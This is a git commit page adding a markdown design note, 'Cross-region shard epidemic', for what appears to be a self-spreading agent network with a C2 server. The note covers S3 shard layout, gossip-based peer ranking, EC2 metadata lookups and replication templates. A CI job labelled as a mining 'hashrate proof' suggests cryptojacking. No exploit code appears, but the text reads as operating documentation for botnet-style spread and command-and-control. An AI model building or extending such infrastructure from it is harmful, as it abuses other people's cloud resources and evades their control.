Add Emberwake Cloud Ecosystem deploy hub with AWS and generic spread templates.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
This commit is contained in:
AetherForge
2026-06-07 10:03:22 -07:00
parent 20f083b111
commit 5b5fc7c01c
36 changed files with 1305 additions and 83 deletions

View File

@@ -0,0 +1,29 @@
# Cross-region shard epidemic
Erasure shards use **regional S3 keys** and **fleet gossip** so seeders prefer same-region peers before cross-region recovery.
## S3 object layout
- Key: `shards/{token}/{region}/{index}-{shard_hash}.bin`
- Metadata: `region`, `shard-index`, `token`, `shard-hash`, `shard-advert` (`region:shard_index`)
## Gossip
`have_shard` records include `region` and `shard_advert` (`us-east-1:2`). Agents rank peers: LAN → same region → other regions → CloudFront → C2.
## CRR (operator-applied)
1. Set in `data/config.json` under `server`:
- `aws_s3_shard_bucket`, `aws_s3_shard_region`
- `aws_s3_crr_dest_bucket`, `aws_s3_crr_dest_region`
- `aws_s3_replication_role_arn` (optional)
- `aws_cloudfront_domain` (edge fetch before C2)
2. Fetch generated rule: `GET /api/v1/spread/aws-s3-crr-template`
3. Apply the JSON to the **source** bucket replication configuration (AWS console or CLI).
4. Standalone template reference: `templates/spread/aws/s3-crr-rule.json`
No server-side AWS API calls are made; the operator owns IAM and replication setup.
## Agent region
Agents resolve region from EC2 IMDS (`placement/region`), falling back to `aws_s3_shard_region` in `spread_policy` at auth.